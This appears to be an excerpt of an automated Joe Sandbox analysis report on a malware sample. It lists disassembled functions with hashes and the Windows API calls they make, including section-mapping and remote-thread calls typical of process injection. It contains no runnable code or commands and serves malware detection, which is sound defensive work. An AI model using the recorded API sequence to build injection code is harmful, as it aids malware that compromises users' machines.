Instruction Fuzzy Hash: CFA1E3B1604215BFDF218F95CC45FAB7BB8EF82710F14006BE942BB1E1D6399902DB5A

Function 004015FB Relevance: 10.7, APIs: 7, Instructions: 180
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040170E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040172C
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000,?,00000079), ref: 0040176D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040179E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017C0

Memory Dump Source

Source File: 00000006.00000002.2326877906.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_35DB.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 8aaa4946e75727fc09ad2f405e2a017ad71aadc6c477ed290025760324e3469e
Instruction ID: eff60cd738278fe88036fd12be8a847ac689736a027776baabbfcbb81c570d02
Opcode Fuzzy Hash: 8aaa4946e75727fc09ad2f405e2a017ad71aadc6c477ed290025760324e3469e
Instruction Fuzzy Hash: 20512DB4900205BBEF208F91CC48FAFBBB8EF85B00F14416AF911BA2E5D7759945CB64

Function 00401613 Relevance: 10.7, APIs: 7, Instructions: 176
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040170E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040172C
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000,?,00000079), ref: 0040176D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040179E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017C0

Memory Dump Source

Source File: 00000006.00000002.2326877906.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_35DB.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: ad766b3969fddc35dc3ff1f72950dd3bc16db4ac8334f03efc3fd571d50c1c7d
Instruction ID: 5fe8c3412efddb1af6587580d34f391b5aa6f3f620f4969ff4058e4fba2aebcc
Opcode Fuzzy Hash: ad766b3969fddc35dc3ff1f72950dd3bc16db4ac8334f03efc3fd571d50c1c7d
Instruction Fuzzy Hash: 385129B5900245BBEF218F91CC48FEFBBB8EF86B00F144169F911AA2A5D7719905CB64

Function 00401606 Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040170E

Memory Dump Source

Source File: 00000006.00000002.2326877906.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_35DB.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID:
API String ID: 1652636561-0
Opcode ID: e0c996b45f475bcdee2b3acca27bfff8738185ab06689bd0def3de9b12292fcf
Instruction ID: 18644dced9cd2caf62a4109051f94e3e0c196277adac1f1b80d81581f0248fb5
Opcode Fuzzy Hash: e0c996b45f475bcdee2b3acca27bfff8738185ab06689bd0def3de9b12292fcf
Instruction Fuzzy Hash: 95512AB4900245BBEF208F91CC48FAFBBB8EF85B00F14416AF911BA2E5D7759941CB64

Function 00401627 Relevance: 10.7, APIs: 7, Instructions: 170
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040170E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040172C
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000,?,00000079), ref: 0040176D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040179E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017C0

Memory Dump Source

Source File: 00000006.00000002.2326877906.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_35DB.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 8ea2bb8e40d2b6bb7fcf7676f7409f4a6beb0c313e7b1c0bb420ab3e3f8254c1
Instruction ID: 9010f4212e2f095ee6e1513bebcb31b7ed322fe9e8888bc62802b8a5d7df5652
Opcode Fuzzy Hash: 8ea2bb8e40d2b6bb7fcf7676f7409f4a6beb0c313e7b1c0bb420ab3e3f8254c1
Instruction Fuzzy Hash: 795128B4900249BBEF208F91CC48FAFBBB8EF85B00F140169F911BA2A5D7759941CB64

Function 00401641 Relevance: 10.7, APIs: 7, Instructions: 165
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040170E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040172C
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000,?,00000079), ref: 0040176D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040179E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017C0

Memory Dump Source

Source File: 00000006.00000002.2326877906.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_35DB.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: a951ce0e9a9537201a4ab380c462e1ce4e6ed323a6f782408602592e2a1882ae
Instruction ID: 9e1831f0ceb5ee828940fa86c31e9463c4dc41faf1b0eb7057c6f8c584aa9f8c
Opcode Fuzzy Hash: a951ce0e9a9537201a4ab380c462e1ce4e6ed323a6f782408602592e2a1882ae
Instruction Fuzzy Hash: 2A5109B5900249BFEF208F91CC48FEFBBB8EF86B00F104159F911AA2A5D7719945CB64

Function 00403103 Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 0040322B
NtTerminateProcess.NTDLL ref: 0040323C

Memory Dump Source

Source File: 00000006.00000002.2326877906.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_35DB.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: ba71293914487d9c4508611429cc1c96d45b5da92adc1af413e838efc5e3ffef
Instruction ID: dae095e867f3745097cc185a7748a697303a2d44691d7cc8a0ebaf8866640ae2
Opcode Fuzzy Hash: ba71293914487d9c4508611429cc1c96d45b5da92adc1af413e838efc5e3ffef
Instruction Fuzzy Hash: BB415832618E0C8FD768EE6CA8896A377D6E798351B1643BAD808D7384EE30D85183C5

Function 00403257 Relevance: 3.1, APIs: 2, Instructions: 83
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 0040322B
NtTerminateProcess.NTDLL ref: 0040323C

Memory Dump Source

Source File: 00000006.00000002.2326877906.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_35DB.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 8f75c49c67d658a2c62e27a3415f0efa1266b4aad096af7960056c4103048e13
Instruction ID: ab58b7d6b66510dde6bc1fc7e766791280fd84229bd7d6ef16cc780df24ac814
Opcode Fuzzy Hash: 8f75c49c67d658a2c62e27a3415f0efa1266b4aad096af7960056c4103048e13
Instruction Fuzzy Hash: FC1156B181C6448FE714DF78A44A23A7FE4E754326F2407BFD446E12D1D63C8246824B

Function 005B003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 005B024D

Strings

kernel32.dll, xrefs: 005B008F, 005B0095
cess, xrefs: 005B018D

Memory Dump Source

Source File: 00000006.00000002.2327173692.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_35DB.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 7551dfa21bb43cba0658288d1fd6cf974fef82f8ba6c86bf0450c771147d3be8
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 4F526874A00229DFDB64CF58C985BADBBB1BF09304F1480D9E94DAB291DB30AE85DF14

Function 00783965 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0078398D
Module32First.KERNEL32(00000000,00000224), ref: 007839AD

Memory Dump Source

Source File: 00000006.00000002.2327481392.0000000000771000.00000040.00000020.00020000.00000000.sdmp, Offset: 00771000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_771000_35DB.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 85b03b0c8621d4375719d3b5254873c8be134c6e19c2e2b9ac4bb0a6861179dc
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 45F062352407106BE7203ABD988DB6AB6EDAF49B28F100628E692911C0DBB8FD454761

Function 005B0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,005B0223,?,?), ref: 005B0E19
SetErrorMode.KERNELBASE(00000000,?,?,005B0223,?,?), ref: 005B0E1E

Memory Dump Source

Source File: 00000006.00000002.2327173692.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_35DB.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: e6f0b986f79c47f2df78b5900a9022620743f9650b9358d5e1040a707868e860
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 0FD0123114512877D7002A94DC09BCE7F1CDF05B62F008411FB0DD9080C770994046E5

Function 004019C0 Relevance: 1.3, APIs: 1, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Memory Dump Source

Source File: 00000006.00000002.2326877906.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_35DB.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 7f12bac4f1dd78845df68974ec1d6207e79698338a7a17bde6cb34e1bb9e829b
Instruction ID: 8602aea7765920f14b43c6808a0d2033de268e003b0f0e4b19403496b7ccbc2b
Opcode Fuzzy Hash: 7f12bac4f1dd78845df68974ec1d6207e79698338a7a17bde6cb34e1bb9e829b
Instruction Fuzzy Hash: 2B11CE3230A205EADB005AD9A941FBB32199B40754F3041B7B603B90F1953D8913BF2F

Function 004019E0 Relevance: 1.3, APIs: 1, Instructions: 60
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Part of subcall function 004015FB: NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
Part of subcall function 004015FB: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB

Memory Dump Source

Source File: 00000006.00000002.2326877906.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_35DB.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: e17e85e8ed8125533f7e2167abb1cbc7a5f98fbf5ea5e47149eeb4735b4555ca
Instruction ID: 6e8e83dbc6cb5325300a6df4c81bf03677ed1736eef4dabc06710691df282c78
Opcode Fuzzy Hash: e17e85e8ed8125533f7e2167abb1cbc7a5f98fbf5ea5e47149eeb4735b4555ca
Instruction Fuzzy Hash: FA016D3230A209EADB005AD8AD41E7B3229AB40754F3001B7BA03790F1953D99137F2F

Function 004019EB Relevance: 1.3, APIs: 1, Instructions: 54
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Part of subcall function 004015FB: NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
Part of subcall function 004015FB: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB

Memory Dump Source

Source File: 00000006.00000002.2326877906.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_35DB.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: d20dd15212e55eeb93c2ba4d893d672a11c9591f500a1070bb8e30cefc0e7994
Instruction ID: 2b2adc88e5ab551374836522510027b0c35959e32ac3f93f20a40eb2707c2e9b
Opcode Fuzzy Hash: d20dd15212e55eeb93c2ba4d893d672a11c9591f500a1070bb8e30cefc0e7994
Instruction Fuzzy Hash: C2014C3230A205EBDB009AD4ED41B6A3269AB44714F3041B7BA13B91F1D53D9A537F2B

Function 00401A04 Relevance: 1.3, APIs: 1, Instructions: 50
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Part of subcall function 004015FB: NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
Part of subcall function 004015FB: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB

Memory Dump Source

Source File: 00000006.00000002.2326877906.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_35DB.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 6956420fd1a0da5a043187b5517324543cb26d58a43067072202fc2494389932
Instruction ID: 8da435b4ef065fa937355dde1d01ef47451206c1f83fca999a74837282515cb4
Opcode Fuzzy Hash: 6956420fd1a0da5a043187b5517324543cb26d58a43067072202fc2494389932
Instruction Fuzzy Hash: 8B01363630A209EADB005AD8AD41EBA22559B44314F3042B7BA13B91F5D53D8A137F2F

Function 004019FD Relevance: 1.3, APIs: 1, Instructions: 49sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Part of subcall function 004015FB: NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
Part of subcall function 004015FB: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB

Memory Dump Source

Source File: 00000006.00000002.2326877906.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_35DB.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 470eaab1d85efef32b59b6b80de91dfe5f43d1552a0586931a32e3bd1b407b26
Instruction ID: da9cf87a9ed9cba2a5618582a19ce6b128e8deecbf4ee8231104359b1f28a93a
Opcode Fuzzy Hash: 470eaab1d85efef32b59b6b80de91dfe5f43d1552a0586931a32e3bd1b407b26
Instruction Fuzzy Hash: 4601863230A209EADB005AD49D41FBA22199B44714F3041B7BA13B90F1D53D8A137F2F

Function 00783624 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00783675

Memory Dump Source

Source File: 00000006.00000002.2327481392.0000000000771000.00000040.00000020.00020000.00000000.sdmp, Offset: 00771000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_771000_35DB.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: ccc185c6198837f27c78659ab99423e27a059c29106c86895baa4e569c26c584
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 59112B79A40208FFDB01DF98C989E99BBF5AF08750F058094F9489B362D375EA50DF80

Function 00401A15 Relevance: 1.3, APIs: 1, Instructions: 42sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Part of subcall function 004015FB: NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
Part of subcall function 004015FB: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB

Memory Dump Source

Source File: 00000006.00000002.2326877906.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_35DB.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 47584117f720a46a046c478722b1e9804fa2bdf0c34a1eb8c3916f7c7194f890
Instruction ID: ef4a3633df93866afb86b86826f27a476d683f03040323dac8a7d7c578d0eba4
Opcode Fuzzy Hash: 47584117f720a46a046c478722b1e9804fa2bdf0c34a1eb8c3916f7c7194f890
Instruction Fuzzy Hash: 17F04432309206EBDB01AAD4DD41FAA3229AB44354F3041B7BA13B90F1D53C86127F2B

Function 00401A20 Relevance: 1.3, APIs: 1, Instructions: 42sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Part of subcall function 004015FB: NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
Part of subcall function 004015FB: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB

Memory Dump Source

Source File: 00000006.00000002.2326877906.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_35DB.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: e9f1e890604c892da627bf4dac1adaaf6327a8231f252b78f611ae96bce34966
Instruction ID: 08c596e776171f083f15ab2e9130eea247f108212a51f0ba4fb69116c36cf548
Opcode Fuzzy Hash: e9f1e890604c892da627bf4dac1adaaf6327a8231f252b78f611ae96bce34966
Instruction Fuzzy Hash: 4BF0FF3230A209EADB005AD59D51EAA26699B44354F3041B7BA13B90F1D53D8A137F2B

Non-executed Functions

Function 00403433 Relevance: 1.4, Strings: 1, Instructions: 159COMMON

Download Yara Rule

Strings

s, xrefs: 00403442

Memory Dump Source

Source File: 00000006.00000002.2326877906.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_35DB.jbxd

Similarity

API ID:
String ID: s
API String ID: 0-453955339
Opcode ID: 71b633ba4f9f8731a939a5851b7279f95dc9d6686ed9ffb90a7f89efaee57644
Instruction ID: 478a38fdc0080eac584d4b10ddc2a57a0ee86f9b8276d2a3f71006c7e8c0dea8
Opcode Fuzzy Hash: 71b633ba4f9f8731a939a5851b7279f95dc9d6686ed9ffb90a7f89efaee57644
Instruction Fuzzy Hash: 4F5176328083D19FC713DE788854596BFB59F17315B0905EBC480EF6E3D32AAA05C7A6

Function 00401E65 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2326877906.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_35DB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d21c630cb6501ad70d911e8ac2028ca453459510ec33b2a00306ff3c301efda3
Instruction ID: 6725721ff3489d431dd836171e340eb16c8ebd58ca09b28f7b875ac3b9798d56
Opcode Fuzzy Hash: d21c630cb6501ad70d911e8ac2028ca453459510ec33b2a00306ff3c301efda3
Instruction Fuzzy Hash: 43F0273A30669697DB135E7CD0009CCFF10FD6B6207B88BD2D0C09A141C222845BCB90

Analysis Process: hdhruerPID: 8148, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	10.9%
Dynamic/Decrypted Code Coverage:	32.7%
Signature Coverage:	0%
Total number of Nodes:	147
Total number of Limit Nodes:	6

Executed Functions

Function 004014FB Relevance: 10.8, APIs: 7, Instructions: 316
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2572905300.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_hdhruer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0c0f7080bca9052c17eb5f435a0de39dc556564f0894fb09fbcd269735ed19c
Instruction ID: 8456862ab07ee4fd5df19115d19177d22808884b2e91bbb4bd05fd593ecc01b1
Opcode Fuzzy Hash: c0c0f7080bca9052c17eb5f435a0de39dc556564f0894fb09fbcd269735ed19c
Instruction Fuzzy Hash: CFA1E3B1604215BFDF218F95CC45FAB7BB8EF82710F14006BE942BB1E1D6399902DB5A

Function 004015FB Relevance: 10.7, APIs: 7, Instructions: 180
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040170E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040172C
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000,?,00000079), ref: 0040176D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040179E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017C0

Memory Dump Source

Source File: 00000008.00000002.2572905300.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_hdhruer.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 8aaa4946e75727fc09ad2f405e2a017ad71aadc6c477ed290025760324e3469e
Instruction ID: eff60cd738278fe88036fd12be8a847ac689736a027776baabbfcbb81c570d02
Opcode Fuzzy Hash: 8aaa4946e75727fc09ad2f405e2a017ad71aadc6c477ed290025760324e3469e
Instruction Fuzzy Hash: 20512DB4900205BBEF208F91CC48FAFBBB8EF85B00F14416AF911BA2E5D7759945CB64

Function 00401613 Relevance: 10.7, APIs: 7, Instructions: 176
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040170E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040172C
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000,?,00000079), ref: 0040176D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040179E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017C0

Memory Dump Source

Source File: 00000008.00000002.2572905300.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_hdhruer.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: ad766b3969fddc35dc3ff1f72950dd3bc16db4ac8334f03efc3fd571d50c1c7d
Instruction ID: 5fe8c3412efddb1af6587580d34f391b5aa6f3f620f4969ff4058e4fba2aebcc
Opcode Fuzzy Hash: ad766b3969fddc35dc3ff1f72950dd3bc16db4ac8334f03efc3fd571d50c1c7d
Instruction Fuzzy Hash: 385129B5900245BBEF218F91CC48FEFBBB8EF86B00F144169F911AA2A5D7719905CB64

Function 00401606 Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040170E

Memory Dump Source

Source File: 00000008.00000002.2572905300.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_hdhruer.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID:
API String ID: 1652636561-0
Opcode ID: e0c996b45f475bcdee2b3acca27bfff8738185ab06689bd0def3de9b12292fcf
Instruction ID: 18644dced9cd2caf62a4109051f94e3e0c196277adac1f1b80d81581f0248fb5
